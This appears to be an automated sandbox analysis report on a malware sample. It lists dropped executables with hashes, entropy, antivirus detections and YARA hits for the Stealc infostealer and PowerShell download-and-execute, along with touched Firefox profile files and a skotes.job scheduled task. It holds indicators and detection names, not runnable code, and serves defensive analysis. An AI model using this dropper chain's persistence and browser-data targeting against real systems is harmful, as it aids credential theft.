Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@.......................... 1...........@.................................T...h................................................................................................................... . .........~..................@....rsrc ............................@....idata ............................@...qawnjwpo.0+.......+.................@...ogiigyxs......0.......-.............@....taggant.0....0.."....-.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3008000
Entropy (8bit):	6.556118397882354
Encrypted:	false
SSDEEP:	49152:hLaHG4zZU0/b+UylHl6SobWR1zwNgwmgBApq+IutjLc2N:daHGm+0DTyxUj6R1c3otHjLc2
MD5:	C46787C30A894FB065CAB874CC71194F
SHA1:	5C1CCFDEB761EF93CFBF90F0F435D359CEA4C11A
SHA-256:	1C92AEA47444412973DABC0493E6C97969392CECBB559FC264C8ECC70811F852
SHA-512:	870E933DE533C9B251BD8F3CB3A8428B72662C3467FF83921E0BFA679C29A81F7DEB54E99865FF9AE608CDF8C66EBFB35392F739543A501182C82A5D9B42AD63
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@.......................... 1...........@.................................T...h................................................................................................................... . .........~..................@....rsrc ............................@....idata ............................@...qawnjwpo.0+.......+.................@...ogiigyxs......0.......-.............@....taggant.0....0.."....-.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1872384
Entropy (8bit):	7.947326293618379
Encrypted:	false
SSDEEP:	49152:FGr4CilaGYbJQlw/NGMDweoVnrfcXCNuX7Ik:FGr4CsaGamiweGG0
MD5:	79AD5F851A1231DB208F005432D0CF1C
SHA1:	67776523D7821292DA1CED82653558A60B8A7F19
SHA-256:	AB409DFE5CAFAA8A881A844CD26EED91995B9546528E494DB3B46F26812824EB
SHA-512:	2B1A2375CEA5E30CB4DA43A1F539FF920CDB6BD1A758B2EE8C8D7FCD75D540B6EB81330B3313E1EBF43DA22110D818E3D6E5DF869C6751DADF1901DD57722CBD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...9$.g......................$.......j...........@...........................j..... .....@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... ..*...%......:..............@...seldsqgz.0....P......<..............@...ogrbyegi......j......j..............@....taggant.0....j.."...p..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919040
Entropy (8bit):	6.5837327010322415
Encrypted:	false
SSDEEP:	12288:pqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgagTT:pqDEvCTbMWu7rQYlBQcBiT6rprG8a4T
MD5:	C2CF161C1BE2170FAE2524B889314DC6
SHA1:	23245A6B53EAC1DCB414205C650E821A2ABA5B88
SHA-256:	9E793DB8DF51F560746D9A01E4508815BFAB32DE19E5D7346071C8F355204FCD
SHA-512:	FE1B43CB491DE2B6D1A9A6F18D6DDE3FD16E4785250D882740AFD6F0954637FAB0A45F364F534114D5D26660CAF5D3C3BEC366945DDC54BF798B249048D37C8B
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 26%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...f..g.........."..........V......w.............@..........................`.......[....@...@.......@.....................d...\|....@...........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001636001\num.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	314368
Entropy (8bit):	6.339296840269838
Encrypted:	false
SSDEEP:	6144:BMi8gYtUokCulxMfpbSGePV0l0F1nE7w+Uw3NKR9hU/W9:2tUoH3IGgVRF14wx8KRF9
MD5:	791FCEE57312D4A20CC86AE1CEA8DFC4
SHA1:	04A88C60AE1539A63411FE4765E9B931E8D2D992
SHA-256:	27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D
SHA-512:	2771D4E7B272BF770EFAD22C9FB1DFAFE10CBBF009DF931F091FB543E3132C0EFDA16ACB5B515452E9E67E8B1FC8FE8AEDD1376C236061385F026865CDC28D2C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......i............@...........................&...........@.................................(...<.............................%..$...................................................................................text............................... ....rdata..............................@..@.data.....#.........................@....reloc...E....%..F..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D7GI4LGVF8ASO12V3.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1872384
Entropy (8bit):	7.947326293618379
Encrypted:	false
SSDEEP:	49152:FGr4CilaGYbJQlw/NGMDweoVnrfcXCNuX7Ik:FGr4CsaGamiweGG0
MD5:	79AD5F851A1231DB208F005432D0CF1C
SHA1:	67776523D7821292DA1CED82653558A60B8A7F19
SHA-256:	AB409DFE5CAFAA8A881A844CD26EED91995B9546528E494DB3B46F26812824EB
SHA-512:	2B1A2375CEA5E30CB4DA43A1F539FF920CDB6BD1A758B2EE8C8D7FCD75D540B6EB81330B3313E1EBF43DA22110D818E3D6E5DF869C6751DADF1901DD57722CBD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...9$.g......................$.......j...........@...........................j..... .....@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... ..*...%......:..............@...seldsqgz.0....P......<..............@...ogrbyegi......j......j..............@....taggant.0....j.."...p..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1897984
Entropy (8bit):	7.949464870947784
Encrypted:	false
SSDEEP:	49152:BSymMEELttJKeG+ZKFVlIDEYhJc8HmjiiFC:BmJQtJdDZKJYhJnHmGiFC
MD5:	EA3D2DAC572AFAFDEFFFBB7C04854D36
SHA1:	D26798534999801BBBD17BE31771DEF110F07F98
SHA-256:	CCFD9049A09907E71131B734898792B279C5ACAE0C2782A7F3ACD960CAE7D949
SHA-512:	C1856E209690C42189D398825331944BE0841F243DB8DB1674A2F1486C23D678ED942785BA872CC32653F1494B4D48E7EAB802E2E73FB37C6285345081A7878D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................0K...........@..........................`K......#....@.................................W...k...........................t.K.............................$.K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...juonirvb.....@1.....................@...iownkumr..... K.....................@....taggant.0...0K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1872384
Entropy (8bit):	7.947326293618379
Encrypted:	false
SSDEEP:	49152:FGr4CilaGYbJQlw/NGMDweoVnrfcXCNuX7Ik:FGr4CsaGamiweGG0
MD5:	79AD5F851A1231DB208F005432D0CF1C
SHA1:	67776523D7821292DA1CED82653558A60B8A7F19
SHA-256:	AB409DFE5CAFAA8A881A844CD26EED91995B9546528E494DB3B46F26812824EB
SHA-512:	2B1A2375CEA5E30CB4DA43A1F539FF920CDB6BD1A758B2EE8C8D7FCD75D540B6EB81330B3313E1EBF43DA22110D818E3D6E5DF869C6751DADF1901DD57722CBD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...9$.g......................$.......j...........@...........................j..... .....@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... ..*...%......:..............@...seldsqgz.0....P......<..............@...ogrbyegi......j......j..............@....taggant.0....j.."...p..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1897984
Entropy (8bit):	7.949464870947784
Encrypted:	false
SSDEEP:	49152:BSymMEELttJKeG+ZKFVlIDEYhJc8HmjiiFC:BmJQtJdDZKJYhJnHmGiFC
MD5:	EA3D2DAC572AFAFDEFFFBB7C04854D36
SHA1:	D26798534999801BBBD17BE31771DEF110F07F98
SHA-256:	CCFD9049A09907E71131B734898792B279C5ACAE0C2782A7F3ACD960CAE7D949
SHA-512:	C1856E209690C42189D398825331944BE0841F243DB8DB1674A2F1486C23D678ED942785BA872CC32653F1494B4D48E7EAB802E2E73FB37C6285345081A7878D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................0K...........@..........................`K......#....@.................................W...k...........................t.K.............................$.K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...juonirvb.....@1.....................@...iownkumr..... K.....................@....taggant.0...0K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2810368
Entropy (8bit):	6.474186131791811
Encrypted:	false
SSDEEP:	49152:Phdrhlla52QCfo1oxVXNrR2k1WMGyqpfpH:/dllM2QCfo1oTXNrR2yHPo
MD5:	34A58F4499119CFF16882D6C48F7C80D
SHA1:	EA15469D977D24B8813644A5E5CFD62AD57A1E27
SHA-256:	27E0DD33A6FC4BB55033802E00F68C29EB9394DAA723E65C9AF5D5C7F526C30A
SHA-512:	B9C4E8E06419755A9267A344A0EB665DB94F3BD978AEE0497E51C937C5C405E500E1E7C6D08714430DF05F561983CB6F9F3119265BE78B00D4AF9A5EE9F2D038
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........@+.. ...`....@.. ........................+.....^.+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...itjqivob...........:..............@...lqldnesx. ... +....................@....taggant.@...@+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\UYC74GB6WBXMLVLE5D9EEPR.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2810368
Entropy (8bit):	6.474186131791811
Encrypted:	false
SSDEEP:	49152:Phdrhlla52QCfo1oxVXNrR2k1WMGyqpfpH:/dllM2QCfo1oTXNrR2yHPo
MD5:	34A58F4499119CFF16882D6C48F7C80D
SHA1:	EA15469D977D24B8813644A5E5CFD62AD57A1E27
SHA-256:	27E0DD33A6FC4BB55033802E00F68C29EB9394DAA723E65C9AF5D5C7F526C30A
SHA-512:	B9C4E8E06419755A9267A344A0EB665DB94F3BD978AEE0497E51C937C5C405E500E1E7C6D08714430DF05F561983CB6F9F3119265BE78B00D4AF9A5EE9F2D038
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........@+.. ...`....@.. ........................+.....^.+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...itjqivob...........:..............@...lqldnesx. ... +....................@....taggant.@...@+..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1897984
Entropy (8bit):	7.949464870947784
Encrypted:	false
SSDEEP:	49152:BSymMEELttJKeG+ZKFVlIDEYhJc8HmjiiFC:BmJQtJdDZKJYhJnHmGiFC
MD5:	EA3D2DAC572AFAFDEFFFBB7C04854D36
SHA1:	D26798534999801BBBD17BE31771DEF110F07F98
SHA-256:	CCFD9049A09907E71131B734898792B279C5ACAE0C2782A7F3ACD960CAE7D949
SHA-512:	C1856E209690C42189D398825331944BE0841F243DB8DB1674A2F1486C23D678ED942785BA872CC32653F1494B4D48E7EAB802E2E73FB37C6285345081A7878D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................0K...........@..........................`K......#....@.................................W...k...........................t.K.............................$.K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...juonirvb.....@1.....................@...iownkumr..... K.....................@....taggant.0...0K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.035822017202226504
Encrypted:	false
SSDEEP:	3:GtlstFv48iO8jblstFv48iO8jgJ89//alEl:GtWtq8XQWtq8XHJ89XuM
MD5:	A74F91C73C42692691E6B5626E6C7C09
SHA1:	88039C49421A785DACCA0244B5871308F82A58BD
SHA-256:	CB8ED93FF0EAF8E81FD74BCE17779FE7F6271E62CBDC38817318673B689048E3
SHA-512:	8B019C27C446B7006B713DC853F13D298F22660A73FB2C7B5DE55B446A9C4A0443E1D2EFEB9D1C9FABA0AE4BB982999713CCD343E8A9BB9F979E36F0A3713135
Malicious:	false
Preview:	..-.......................8i...Y.g...t......`...-.......................8i...Y.g...t......`.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	32824
Entropy (8bit):	0.039920253262097694
Encrypted:	false
SSDEEP:	3:Ol1eM+9Oyllyllf8uqQkl8rEXsxdwhml8XW3R2:KSc2lLLl8dMhm93w
MD5:	1384AA423BEB7D146ABB7D69538E3A36
SHA1:	A12D52E40BA711F2298B3C4974B6D97C2F8A2E6A
SHA-256:	9AA4A4D016A97E14697B1A92112B2275CDAB025A7E92F9C092709FC14FFD4549
SHA-512:	05641DB5AD8EFAABB876F17C34F4C617D66FF3CC268FA35FAF333E53E776B4FD009E9AF7D9BAF0F9D795763EBA89C29A4850295E2FCEE2436AB19910590A83C9
Malicious:	false
Preview:	7....-..........Y.g...t=X.ljJ;.........Y.g...ti8.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.511190692933244
Encrypted:	false
SSDEEP:	192:lLnSRkGYbBp66qUCaXr6VqkHNBw8d3nSl:getqUWJPww0
MD5:	B3E9A988ECA0F8095256D1C9750AB33D
SHA1:	DECA9AD756D2063EC2BB7C31A0B5DBC0E195E8FB
SHA-256:	894586C0FC4531F30E17C6434CC2AB1B551B760ADD5C5B0CE89A34DD92426CCA
SHA-512:	49156CA0A30337CC23408983C4C6B804831BCE6AC79929853F83B9F045C8171C4B1A4AED283443A5FCD518076EF197C62CFBDC20419B0BECD300DEC2393066DD
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.511190692933244
Encrypted:	false
SSDEEP:	192:lLnSRkGYbBp66qUCaXr6VqkHNBw8d3nSl:getqUWJPww0
MD5:	B3E9A988ECA0F8095256D1C9750AB33D
SHA1:	DECA9AD756D2063EC2BB7C31A0B5DBC0E195E8FB
SHA-256:	894586C0FC4531F30E17C6434CC2AB1B551B760ADD5C5B0CE89A34DD92426CCA
SHA-512:	49156CA0A30337CC23408983C4C6B804831BCE6AC79929853F83B9F045C8171C4B1A4AED283443A5FCD518076EF197C62CFBDC20419B0BECD300DEC2393066DD
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 6, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.0836444556178684
Encrypted:	false
SSDEEP:	24:JBwdh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:jnEUo9LXtR+JdkOnohYsl
MD5:	8B40B1534FF0F4B533AF767EB5639A05
SHA1:	63EDB539EA39AD09D701A36B535C4C087AE08CC9
SHA-256:	AF275A19A5C2C682139266065D90C237282274D11C5619A121B7BDBDB252861B
SHA-512:	54AF707698CED33C206B1B193DA414D630901762E88E37E99885A50D4D5F8DDC28367C9B401DFE251CF0552B4FA446EE28F78A97C9096AFB0F2898BFBB673B53
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\K1V1WI6YB6V0R3MUAPBL1XKIE9HLEBT.exe
File Type:	data
Category:	dropped
Size (bytes):	306
Entropy (8bit):	3.5015536691530738
Encrypted:	false
SSDEEP:	6:lJO9DZXUKJUEZ+lX1CGdKUe6tcVAkXIEZ8MlW8+y0lwsct0:PO5lvJQ1CGAFMkXd8kX+V+t0
MD5:	B948539ACF195A8A245540A0531FC2C6
SHA1:	9094ECDEE2580A5CB08F8BA5152DF033CD5C7222
SHA-256:	CAE00B0035AB2781C2ED02EAAA9EC1C7D1DB5D23733FAFA8D20F5F52D6A09877
SHA-512:	EB0BF7D397F79A846DC042CEE981C44C9F51274ABAC84D106151D36264EC971A8552846E0E5B148EBC4BD565140764D84EE64354FB94CDF77E68B260D85B7520
Malicious:	false
